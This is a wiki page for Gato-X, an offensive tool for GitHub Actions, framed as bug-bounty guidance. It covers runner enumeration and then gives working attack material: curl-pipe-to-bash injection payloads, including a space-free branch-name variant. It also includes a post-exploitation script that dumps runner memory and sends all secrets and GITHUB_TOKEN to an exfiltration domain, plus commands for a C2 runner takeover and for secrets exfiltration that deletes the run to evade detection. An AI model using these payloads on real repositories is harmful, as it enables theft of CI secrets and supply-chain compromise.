Skip to content
Adnan Khan edited this page Sep 4, 2024 · 8 revisions

Self-Hosted Runner Enumeration

Gato-X takes a slightly different approach to self-hosted runner enumeration than the original Gato tool. Gato-X uses yaml analysis to pre-filter potential self-hosted runners (to determine if a workflow job doesn't use an explicit GitHub hosted runner), but Gato-X will not product a report in the CLI output unless it detects a runner in a recent workflow run log. Furthermore, Gato-X contains optimizations to query run logs only in workflows it pre-filters. The optimizations increase enumeration speed and allow Gato-X to enumerate multiple runners within a repository instead of stopping at the first.

To check an organization for self-hosted runners, simply use: gato-x enum -t <ORG>

Below is an example of self-hosted runner enumeration on google/jax which is a non-vulnerable repository:

image

If Gato-X identifies that a runner is NON_EPHEMERAL it means that Gato-X detected the use of a checkout operation with a Cleaning the repository step. This can lead to a false positive if a workflow uses an ephemeral runner and uses actions/checkout twice with the same repository.

Similarly, if a Gato-X identifies a runner as EPHEMERAL it means it did not detect the use of actions/checkout with a clean step. Sometimes workflows will delete the checked out repository directory, so if a Gato-X marks a runner as ephemeral, but the machine name and runner name are static over multiple runs, then it is worth investigating if there is a clean step in the workflow. This can also manifest if the workflow does not check out code at all.

Pwn Request and Injection Enumeration

Gato-X supports scanning for Pwn Requests and Actions Injection vulnerabilities. Gato-X focuses on surfacing externally exploitable issues, so Gato-X will not look for cases of injection within workflows that run on triggers like push or workflow_dispatch.

Gato-X produces a "report" for workflows it identifies as potentially exploitable. I'll use AStarNetwork/Astar as an example. They fixed their original self-hosted runner takeover vulnerability, but their benchmark workflow could technically be exploited with the aid of social engineering if maintainers were willing to run a benchmark on a fork.

image

In this case, Gato-X has detected a potential Pwn Request that does contain a permission check, but it is likely that the SHA is retrieved from a mutable reference after the workflow starts running. Gato-X has a number of different report types. Remember, Gato-X is tuned to have a higher false positive rate - PLEASE triage and understand the results before you submit a report - ideally after executing a PoC in a mirror or the live repository (depending on the programs rules). It saves time for the triage team and helps ensure a higher bounty.

Finding a Code Injection Point

If Gato-X gives you a report suggesting a workflow is vulnerable to a Pwn Request, the next step is determining if there is an injection point you can modify from a fork.

Pwn Request

If you are determining if there is a pwn request, then you need to look for code that the workflow is running. In some cases this is obvious because the workflow is directly calling a script. In other cases, it is less obvious, such as a workflow that uses the ruby/setup-ruby action with bundler-cache: true, which calls bundle install under the hood. In that case, the Gemfile is your injection point.

There are many other tools that run arbitrary code from a file under the hood - Boost Security's LOTP project has several great examples.

Injection

If you have injection via GitHub context expression, then your payload will depend on what is under your control and what language you are injecting into and what your injection point is.

Title or Body Injection

This is the most likely scenario. If you have full control of the payload (such as from an issue or pull request body), then it should be a trivial to create a payload. The most straightforward way is a curl YOUR_PAYLOAD_URL | bash form. I tend to use a gist, but you can use anything.

If you are injecting into bash, then it is trivial to deploy your payload. Just be mindful of quotes, because if the injection point is something like: `echo '${{ github.event.pull_request.title }}', then you will need to escape or close the quotes for your payload to run.

If your injection point is within a github-script block, then you'll need to make sure to that the resulting script block has correct syntax after injection, otherwise it might crash instead of running anything.

Branch Name Injection

If you have control over the branch name that is referenced by context, then it is also easy to run arbitrary code. The primary limitation is that you cannot use spaces. I typically use something like:

{curl,-sSFL,MY_PAYLOAD_URL}${IFS}|${IFS}bash

File Name Injection

I've seen this a few times. It was more common back when tj-actions/changed-files did not sanitize output by default, but you might still see workflows that use old versions of it.

The payload is similar to the branch name payload, but you cannot have / characters, so you need to serve your payload from a domain you control. I typically set a redirect rule to my gist and continue as usual.

Actions Post Exploitation

If you obtain code execution within a workflow - be it through Injection or a Pwn Request - the next step is getting the secrets. I've used the payload below on dozens of bug bounties. It works like a charm on workflows that run on ubuntu-latest. Save it to a Gist and then use curl -sSfL gist.githubusercontent.com/path/to/poc.sh | bash. It delivers the secrets and GITHUB_TOKEN to your collaborator URL.

# Replace with Burp collaborator domain or similar.
YOUR_EXFIL="your-exfil-domain.com"

# Uses memory dump technique from github.com/nikitastupin/pwnhub / with regex to parse out all secret values (including GITHUB_TOKEN)
if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0`
  # Exfil to Burp
  curl -s -d "$B64_BLOB" https://$YOUR_EXFIL/token > /dev/null
  # Sleep for 15 mins to abuse GITHUB_TOKEN
  sleep 900
else
  exit 0
fi

Runner-on-Runner Attack

Gato-X's Runner-on-Runner attack feature automates the process of creating a private "C2 Repository", hosting an installation payload within a Gist, and delivering the payload with a fork pull request.

In order to conduct this attack, you will need to know the operating system and architecture of the self-hosted runner you are targeting. Typically, you can determine this by observing workflow run logs.

Below is a simple example of using Gato-X to install a RoR on a repository that is using a Linux x64 runner that has the gpu label attached.

gato-x attack -pr -t targetOrg/targetRepo --target-os linux --target-arch x64 --labels gpu

Secrets Exfiltration

If you have a GitHub PAT with the repo and workflow scopes, you can use Gato-X to exfiltrate all GitHub Actions secrets from a repository. Under the hood, Gato-X will trigger a new workflow in a feature branch that will use all accessible secrets, encrypt them, and then exfiltrate them as a GitHub workflow run artifact. Gato-X will then download the artifact and decrypt the secrets.

The -d or --delete-run flag will delete the resulting workflow run, making it harder for someone to detect secrets exfiltration.

gato-x a --secrets -t targetOrg/targetRepo -d

Search

Gato-X offers a lightweight wrapper around both SourceGraph and GitHub code search. By default, Gato-X will use a query designed to identify potential self-hosted runners in a workflow. Gato-X will output results as a list, the -oT parameter will save the list to a text file. This is very convenient to use with Gato-X's repository list enumeration (-R flag for enumeration mode).

usage: gato-x search [-h] [--target ORGANIZATION] [--query QUERY] [--sourcegraph] [--output-text TEXT_FILE]

options:
  -h, --help            show this help message and exit
  --target ORGANIZATION, -t ORGANIZATION
                        Organization to enumerate using GitHub code search.
  --query QUERY, -q QUERY
                        Pass a custom query to GitHub code search
  --sourcegraph, -sg    Use Sourcegraph API to search for self-hosted runners.
  --output-text TEXT_FILE, -oT TEXT_FILE
                        Save enumeration output to text file.

SourceGraph

To search through sourcegraph, use the --sourcegraph flag combined with the -q parameter. If the flag is excluded, then it will use the default self-hosted runner search query coded into Gato-X.

GitHub Code Search

Gato-X's code search feature defaults to GitHub code search. Specify a custom query with the -q parameter.